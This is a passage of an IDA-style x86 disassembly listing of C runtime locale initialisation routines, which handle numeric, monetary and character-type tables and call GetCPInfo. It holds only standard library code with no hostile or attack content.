edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_42C3DB: ; CODE XREF: sub_42BE50+2Dj mov esp, ebp pop ebp retn sub_42BE50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3E0 proc near ; CODE XREF: sub_42BD70+50p ; sub_42BD70+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42C3EE jmp loc_42C6E9 ; --------------------------------------------------------------------------- loc_42C3EE: ; CODE XREF: sub_42C3E0+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_415C60 add esp, 8 loc_42C6E9: ; CODE XREF: sub_42C3E0+9j pop ebp retn sub_42C3E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C6F0 proc near ; DATA XREF: .data:00447998o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4DE1FE mov [ebp+var_4], eax cmp dword_4DE07C, 0 jz loc_42C86A push offset dword_4DE1CC push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_430D00 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4DE1D0 push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4DE1D4 push 10h mov edx, [ebp+var_4] push edx push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, dword_4DE1D4 push edx call sub_42C9A0 add esp, 4 cmp [ebp+var_8], 0 jz short loc_42C7D9 push 2 mov eax, dword_4DE1CC push eax call sub_415C60 add esp, 8 push 2 mov ecx, dword_4DE1D0 push ecx call sub_415C60 add esp, 8 push 2 mov edx, dword_4DE1D4 push edx call sub_415C60 add esp, 8 mov dword_4DE1CC, 0 mov dword_4DE1D0, 0 mov dword_4DE1D4, 0 or eax, 0FFFFFFFFh jmp loc_42C992 ; --------------------------------------------------------------------------- loc_42C7D9: ; CODE XREF: sub_42C6F0+8Fj mov eax, off_448398 cmp dword ptr [eax], offset dword_448360 jz short loc_42C820 push 2 mov ecx, off_448398 mov edx, [ecx] push edx call sub_415C60 add esp, 8 push 2 mov eax, off_448398 mov ecx, [eax+4] push ecx call sub_415C60 add esp, 8 push 2 mov edx, off_448398 mov eax, [edx+8] push eax call sub_415C60 add esp, 8 loc_42C820: ; CODE XREF: sub_42C6F0+F4j mov ecx, off_448398 mov edx, dword_4DE1CC mov [ecx], edx mov eax, off_448398 mov ecx, dword_4DE1D0 mov [eax+4], ecx mov edx, off_448398 mov eax, dword_4DE1D4 mov [edx+8], eax mov ecx, off_448398 mov edx, [ecx] mov al, [edx] mov byte_447484, al mov dword_447488, 1 xor eax, eax jmp loc_42C992 ; --------------------------------------------------------------------------- loc_42C86A: ; CODE XREF: sub_42C6F0+1Fj push 2 mov ecx, dword_4DE1CC push ecx call sub_415C60 add esp, 8 push 2 mov edx, dword_4DE1D0 push edx call sub_415C60 add esp, 8 push 2 mov eax, dword_4DE1D4 push eax call sub_415C60 add esp, 8 mov dword_4DE1CC, 0 mov dword_4DE1D0, 0 mov dword_4DE1D4, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_4150C0 add esp, 10h mov ecx, off_448398 mov [ecx], eax mov edx, off_448398 cmp dword ptr [edx], 0 jnz short loc_42C8EB or eax, 0FFFFFFFFh jmp loc_42C992 ; --------------------------------------------------------------------------- loc_42C8EB: ; CODE XREF: sub_42C6F0+1F1j push offset a__1 ; "." mov eax, off_448398 mov ecx, [eax] push ecx call sub_418870 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_4150C0 add esp, 10h mov edx, off_448398 mov [edx+4], eax mov eax, off_448398 cmp dword ptr [eax+4], 0 jnz short loc_42C92F or eax, 0FFFFFFFFh jmp short loc_42C992 ; --------------------------------------------------------------------------- loc_42C92F: ; CODE XREF: sub_42C6F0+238j mov ecx, off_448398 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_4150C0 add esp, 10h mov ecx, off_448398 mov [ecx+8], eax mov edx, off_448398 cmp dword ptr [edx+8], 0 jnz short loc_42C96B or eax, 0FFFFFFFFh jmp short loc_42C992 ; --------------------------------------------------------------------------- loc_42C96B: ; CODE XREF: sub_42C6F0+274j mov eax, off_448398 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, off_448398 mov eax, [edx] mov cl, [eax] mov byte_447484, cl mov dword_447488, 1 xor eax, eax loc_42C992: ; CODE XREF: sub_42C6F0+E4j ; sub_42C6F0+175j ... mov esp, ebp pop ebp retn sub_42C6F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C9A0 proc near ; CODE XREF: sub_42C6F0+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42C9A4: ; CODE XREF: sub_42C9A0:loc_42CA17j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42CA19 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42C9DD mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42C9DD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42CA17 ; --------------------------------------------------------------------------- loc_42C9DD: ; CODE XREF: sub_42C9A0+17j ; sub_42C9A0+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42CA0E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42C9EE: ; CODE XREF: sub_42C9A0+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42C9EE jmp short loc_42CA17 ; --------------------------------------------------------------------------- loc_42CA0E: ; CODE XREF: sub_42C9A0+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42CA17: ; CODE XREF: sub_42C9A0+3Bj ; sub_42C9A0+6Cj jmp short loc_42C9A4 ; --------------------------------------------------------------------------- loc_42CA19: ; CODE XREF: sub_42C9A0+Cj mov esp, ebp pop ebp retn sub_42C9A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DE078, 0 jz loc_42CAEC push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_415520 add esp, 14h mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_42CA59 mov eax, 1 jmp loc_42CB4C ; --------------------------------------------------------------------------- loc_42CA59: ; CODE XREF: .data:0042CA4Dj mov eax, [ebp-4] push eax call sub_42CB50 add esp, 4 test eax, eax jz short loc_42CA8D mov ecx, [ebp-4] push ecx call sub_42CDE0 add esp, 4 push 2 mov edx, [ebp-4] push edx call sub_415C60 add esp, 8 mov eax, 1 jmp loc_42CB4C ; --------------------------------------------------------------------------- loc_42CA8D: ; CODE XREF: .data:0042CA67j mov eax, [ebp-4] mov ecx, off_448398 mov edx, [ecx] mov [eax], edx mov eax, [ebp-4] mov ecx, off_448398 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp-4] mov ecx, off_448398 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp-4] mov off_448398, eax mov ecx, dword_4DE1D8 push ecx call sub_42CDE0 add esp, 4 push 2 mov edx, dword_4DE1D8 push edx call sub_415C60 add esp, 8 mov eax, [ebp-4] mov dword_4DE1D8, eax xor eax, eax jmp short loc_42CB4C ; --------------------------------------------------------------------------- loc_42CAEC: ; CODE XREF: .data:0042CA2Bj mov ecx, off_448398 mov edx, [ecx] mov off_448368, edx mov eax, off_448398 mov ecx, [eax+4] mov off_44836C, ecx mov edx, off_448398 mov eax, [edx+8] mov off_448370, eax mov off_448398, offset off_448368 mov ecx, dword_4DE1D8 push ecx call sub_42CDE0 add esp, 4 push 2 mov edx, dword_4DE1D8 push edx call sub_415C60 add esp, 8 mov dword_4DE1D8, 0 xor eax, eax loc_42CB4C: ; CODE XREF: .data:0042CA54j ; .data:0042CA88j ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB50 proc near ; CODE XREF: .data:0042CA5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4DE1F8 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_42CB76 or eax, 0FFFFFFFFh jmp loc_42CD59 ; --------------------------------------------------------------------------- loc_42CB76: ; CODE XREF: sub_42CB50+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_42CD60 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_430D00 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] loc_42CD59: ; CODE XREF: sub_42CB50+21j mov esp, ebp pop ebp retn sub_42CB50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CD60 proc near ; CODE XREF: sub_42CB50+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42CD64: ; CODE XREF: sub_42CD60:loc_42CDD7j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42CDD9 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42CD9D mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42CD9D mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42CDD7 ; --------------------------------------------------------------------------- loc_42CD9D: ; CODE XREF: sub_42CD60+17j ; sub_42CD60+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42CDCE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42CDAE: ; CODE XREF: sub_42CD60+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42CDAE jmp short loc_42CDD7 ; --------------------------------------------------------------------------- loc_42CDCE: ; CODE XREF: sub_42CD60+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42CDD7: ; CODE XREF: sub_42CD60+3Bj ; sub_42CD60+6Cj jmp short loc_42CD64 ; --------------------------------------------------------------------------- loc_42CDD9: ; CODE XREF: sub_42CD60+Cj mov esp, ebp pop ebp retn sub_42CD60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CDE0 proc near ; CODE XREF: .data:0042CA6Dp ; .data:0042CAC7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42CDEE jmp loc_42CE71 ; --------------------------------------------------------------------------- loc_42CDEE: ; CODE XREF: sub_42CDE0+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4DE238 jz short loc_42CE71 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_415C60 add esp, 8 loc_42CE71: ; CODE XREF: sub_42CDE0+9j ; sub_42CDE0+18j pop ebp retn sub_42CDE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 30h mov dword ptr [ebp-2Ch], 0 mov dword ptr [ebp-28h], 0 cmp dword_4DE074, 0 jz loc_42D1D1 cmp dword_4DE084, 0 jnz short loc_42CED0 push offset dword_4DE084 push 1004h xor eax, eax mov ax, word_4DE1F0 push eax push 0 call sub_430D00 add esp, 10h test eax, eax jz short loc_42CED0 jmp loc_42D192 ; --------------------------------------------------------------------------- loc_42CED0: ; CODE XREF: .data:0042CEA8j ; .data:0042CEC9j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_4150C0 add esp, 10h mov [ebp-30h], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_4150C0 add esp, 10h mov [ebp-1Ch], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_4150C0 add esp, 10h mov [ebp-2Ch], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_4150C0 add esp, 10h mov [ebp-28h], eax cmp dword ptr [ebp-30h], 0 jz short loc_42CF4C cmp dword ptr [ebp-1Ch], 0 jz short loc_42CF4C cmp dword ptr [ebp-2Ch], 0 jz short loc_42CF4C cmp dword ptr [ebp-28h], 0 jnz short loc_42CF51 loc_42CF4C: ; CODE XREF: .data:0042CF38j ; .data:0042CF3Ej ... jmp loc_42D192 ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: .data:0042CF4Aj mov ecx, [ebp-2Ch] mov [ebp-18h], ecx mov dword ptr [ebp-20h], 0 jmp short loc_42CF69 ; --------------------------------------------------------------------------- loc_42CF60: ; CODE XREF: .data:0042CF83j mov edx, [ebp-20h] add edx, 1 mov [ebp-20h], edx loc_42CF69: ; CODE XREF: .data:0042CF5Ej cmp dword ptr [ebp-20h], 100h jge short loc_42CF85 mov eax, [ebp-18h] mov cl, [ebp-20h] mov [eax], cl mov edx, [ebp-18h] add edx, 1 mov [ebp-18h], edx jmp short loc_42CF60 ; --------------------------------------------------------------------------- loc_42CF85: ; CODE XREF: .data:0042CF70j lea eax, [ebp-14h] push eax mov ecx, dword_4DE084 push ecx call dword_4E04B4 ; GetCPInfo test eax, eax jnz short loc_42CF9F jmp loc_42D192 ; --------------------------------------------------------------------------- loc_42CF9F: ; CODE XREF: .data:0042CF98j cmp dword ptr [ebp-14h], 2 jbe short loc_42CFAA jmp loc_42D192 ; --------------------------------------------------------------------------- loc_42CFAA: ; CODE XREF: .data:0042CFA3j mov edx, [ebp-14h] and edx, 0FFFFh mov dword_447480, edx cmp dword_447480, 1 jle short loc_42D019 lea eax, [ebp-0Eh] mov [ebp-18h], eax jmp short loc_42CFD3 ; --------------------------------------------------------------------------- loc_42CFCA: ; CODE XREF: .data:loc_42D017j mov ecx, [ebp-18h] add ecx, 2 mov [ebp-18h], ecx loc_42CFD3: ; CODE XREF: .data:0042CFC8j mov edx, [ebp-18h] xor eax, eax mov al, [edx] test eax, eax jz short loc_42D019 mov ecx, [ebp-18h] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_42D019 mov eax, [ebp-18h] xor ecx, ecx mov cl, [eax] mov [ebp-20h], ecx jmp short loc_42CFFF ; --------------------------------------------------------------------------- loc_42CFF6: ; CODE XREF: .data:0042D015j mov edx, [ebp-20h] add edx, 1 mov [ebp-20h], edx loc_42CFFF: ; CODE XREF: .data:0042CFF4j mov eax, [ebp-18h] xor ecx, ecx mov cl, [eax+1] cmp [ebp-20h], ecx jg short loc_42D017 mov edx, [ebp-2Ch] add edx, [ebp-20h] mov byte ptr [edx], 0 jmp short loc_42CFF6 ; --------------------------------------------------------------------------- loc_42D017: ; CODE XREF: .data:0042D00Aj jmp short loc_42CFCA ; --------------------------------------------------------------------------- loc_42D019: ; CODE XREF: .data:0042CFC0j ; .data:0042CFDCj ... push 0 push 0 push 0 mov eax, [ebp-30h] add eax, 2 push eax push 100h mov ecx, [ebp-2Ch] push ecx push 1 call sub_429B60 add esp, 1Ch test eax, eax jnz short loc_42D042 jmp loc_42D192 ; --------------------------------------------------------------------------- loc_42D042: ; CODE XREF: .data:0042D03Bj mov edx, [ebp-30h] mov word ptr [edx], 0 mov eax, [ebp-28h] mov [ebp-24h], eax mov dword ptr [ebp-20h], 0 jmp short loc_42D062 ; --------------------------------------------------------------------------- loc_42D059: ; CODE XREF: .data:0042D07Ej mov ecx, [ebp-20h] add ecx, 1 mov [ebp-20h], ecx loc_42D062: ; CODE XREF: .data:0042D057j cmp dword ptr [ebp-20h], 100h jge short loc_42D080 mov edx, [ebp-24h] mov ax, [ebp-20h] mov [edx], ax mov ecx, [ebp-24h] add ecx, 2 mov [ebp-24h], ecx jmp short loc_42D059 ; --------------------------------------------------------------------------- loc_42D080: ; CODE XREF: .data:0042D069j push 0 push 0 mov edx, [ebp-1Ch] add edx, 2 push edx push 100h mov eax, [ebp-28h] push eax push 1 call sub_430FA0 add esp, 18h test eax, eax jnz short loc_42D0A7 jmp loc_42D192 ; --------------------------------------------------------------------------- loc_42D0A7: ; CODE XREF: .data:0042D0A0j mov ecx, [ebp-1Ch] mov word ptr [ecx], 0 cmp dword_447480, 1 jle short loc_42D113 lea edx, [ebp-0Eh] mov [ebp-18h], edx jmp short loc_42D0C9 ; --------------------------------------------------------------------------- loc_42D0C0: ; CODE XREF: .data:loc_42D111j mov eax, [ebp-18h] add eax, 2 mov [ebp-18h], eax loc_42D0C9: ; CODE XREF: .data:0042D0BEj mov ecx, [ebp-18h] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_42D113 mov eax, [ebp-18h] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_42D113 mov edx, [ebp-18h] xor eax, eax mov al, [edx] mov [ebp-20h], eax jmp short loc_42D0F5 ; --------------------------------------------------------------------------- loc_42D0EC: ; CODE XREF: .data:0042D10Fj mov ecx, [ebp-20h] add ecx, 1 mov [ebp-20h], ecx loc_42D0F5: ; CODE XREF: .data:0042D0EAj mov edx, [ebp-18h] xor eax, eax mov al, [edx+1] cmp [ebp-20h], eax jg short loc_42D111 mov ecx, [ebp-20h] mov edx, [ebp-30h] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_42D0EC ; --------------------------------------------------------------------------- loc_42D111: ; CODE XREF: .data:0042D100j jmp short loc_42D0C0 ; --------------------------------------------------------------------------- loc_42D113: ; CODE XREF: .data:0042D0B6j ; .data:0042D0D2j ... mov eax, [ebp-30h] add eax, 2 mov off_447274, eax mov ecx, [ebp-1Ch] add ecx, 2 mov off_447278, ecx cmp dword_4DE1DC, 0 jz short loc_42D144 push 2 mov edx, dword_4DE1DC push edx call sub_415C60 add esp, 8 loc_42D144: ; CODE XREF: .data:0042D131j mov eax, [ebp-30h] mov dword_4DE1DC, eax cmp dword_4DE1E0, 0 jz short loc_42D166 push 2 mov ecx, dword_4DE1E0 push ecx call sub_415C60 add esp, 8 loc_42D166: ; CODE XREF: .data:0042D153j mov edx, [ebp-1Ch] mov dword_4DE1E0, edx push 2 mov eax, [ebp-2Ch] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp-28h] push ecx call sub_415C60 add esp, 8 xor eax, eax jmp loc_42D21C ; --------------------------------------------------------------------------- loc_42D192: ; CODE XREF: .data:0042CECBj ; .data:loc_42CF4Cj ... push 2 mov edx, [ebp-30h] push edx call sub_415C60 add esp, 8 push 2 mov eax, [ebp-1Ch] push eax call sub_415C60 add esp, 8 push 2 mov ecx, [ebp-2Ch] push ecx call sub_415C60 add esp, 8 push 2 mov edx, [ebp-28h] push edx call sub_415C60 add esp, 8 mov eax, 1 jmp short loc_42D21C ; --------------------------------------------------------------------------- loc_42D1D1: ; CODE XREF: .data:0042CE9Bj mov off_447274, offset word_44727E mov off_447278, offset word_44727E push 2 mov eax, dword_4DE1DC push eax call sub_415C60 add esp, 8 push 2 mov ecx, dword_4DE1E0 push ecx call sub_415C60 add esp, 8 mov dword_4DE1DC, 0 mov dword_4DE1E0, 0 xor eax, eax loc_42D21C: ; CODE XREF: .data:0042D18Dj ; .data:0042D1CFj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D220 proc near ; DATA XREF: .data:00447974o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42D220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D230 proc near ; CODE XREF: .data:00426D1Ep ; sub_4273D0+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42D244: ; CODE XREF: sub_42D230+1Fj mov al, [edx] or al, al jz short loc_42D251 inc edx bts [esp+24h+var_24], eax jmp short loc_42D244 ; --------------------------------------------------------------------------- loc_42D251: ; CODE XREF: sub_42D230+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_42D258: ; CODE XREF: sub_42D230+34j inc ecx mov al, [esi] or al, al jz short loc_42D266 inc esi bt [esp+24h+var_24], eax jnb short loc_42D258 loc_42D266: ; CODE XREF: sub_42D230+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_42D230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D270 proc near ; CODE XREF: .data:00426C3Dp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp 